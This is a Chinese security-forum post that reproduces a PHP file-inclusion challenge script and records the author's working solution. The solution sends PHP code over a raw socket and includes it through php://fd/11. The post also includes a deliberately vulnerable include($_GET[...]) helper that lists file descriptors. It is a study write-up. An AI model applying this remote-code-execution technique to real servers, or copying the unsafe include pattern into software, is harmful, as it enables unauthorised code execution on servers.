当前位置：WooYun(白帽子技术社区) >> php >> 一个php安全挑战
(十根阳具有长短!!) 
| http://pastebin.com/hUcNJ1nr<?php
/* Another PHP Security Challenge */
/* Title: Resurrection of a Vulnerability Class */
/* Exploit this and send your solution to [email protected] */
/* Assume the following: */
/* - latest PHP 5.4.3 */
/* - running as Apache 2 module */
/* - disabled_functions = "" */
/* - open_basedir is set to the current directory */
/* - there is no writable directory reachable for the user Apache runs as */
/* - don't make assumption about existing files */
/* Task: Execute e.g. phpinfo() */
$cfg = ini_get("allow_url_include");
if ($cfg !== "0" && $cfg !== "") {
die("Insecure server configuration");
}
if (isset($_GET['action'])) {
$action = $_GET['action'];
} else {
die("No action supplied...");
}
if ($action[0] == '/' || $action[0] == '\\' || strpos($action, "..") !== FALSE) {
die("File inclusion attack blocked...");
}
include $action;
?>
-
-
-
-
-
-
-
-
-
-
-
考古一下
http://packetstormsecurity.org/files/51226/php-fd.txt.html
看到描述 This bug makes PHP File Include vulnerabilities more dangerous. -
-
-
-
这个挑战很久了，我这里记录一下当时的结果，免得忘记，以下是和黑哥一起测试时候给出的结论：
heige@ubuntu:~/exp$ nc 127.0.0.1 80
GET /aa.php?a=php://fd/11 HTTP/1.0
<?php echo(1111);?>
HTTP/1.1 200 OK
Date: Wed, 16 May 2012 08:43:58 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.1
Vary: Accept-Encoding
Content-Length: 383
Connection: close
Content-Type: text/html
/dev/nullfd num:0
/dev/nullfd num:1
/var/log/apache2/error.logfd num:2
socket:[370666]fd num:3
pipe:[370673]fd num:4
pipe:[370673]fd num:5
/var/log/apache2/other_vhosts_access.logfd num:6
/var/log/apache2/access.logfd num:7
/proc/12697/auxvfd num:8
/tmp/ZCUDOkLQkd (deleted)fd num:9
anon_inode:[eventpoll]fd num:10
socket:[396915]fd num:11
/proc/12706/fdfd num:12
1111
heige@ubuntu:~/exp$
使用以上方法，在输入echo(1111)代码之后，需要等待很久（大约20秒-40秒），才能看到执行的结果。初步怀疑是php或者是socket的超时时间，然后才能进行下去。这里没有深究，希望有哪位可以解答。
以下是这个php代码，注意前面那一堆只是为了让我能够找到那个nc连接80的socket。<?php
// Find fd from /proc
$dir = dir("/proc/self/fd");
while (false !== ($e = $dir->read())) {
// Find socket inode in /proc/self/fd.
if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){
print readlink("/proc/self/fd/".$e)."fd num:".$e."\r\n";
}
}
include($_GET['a']); -
-
-
-
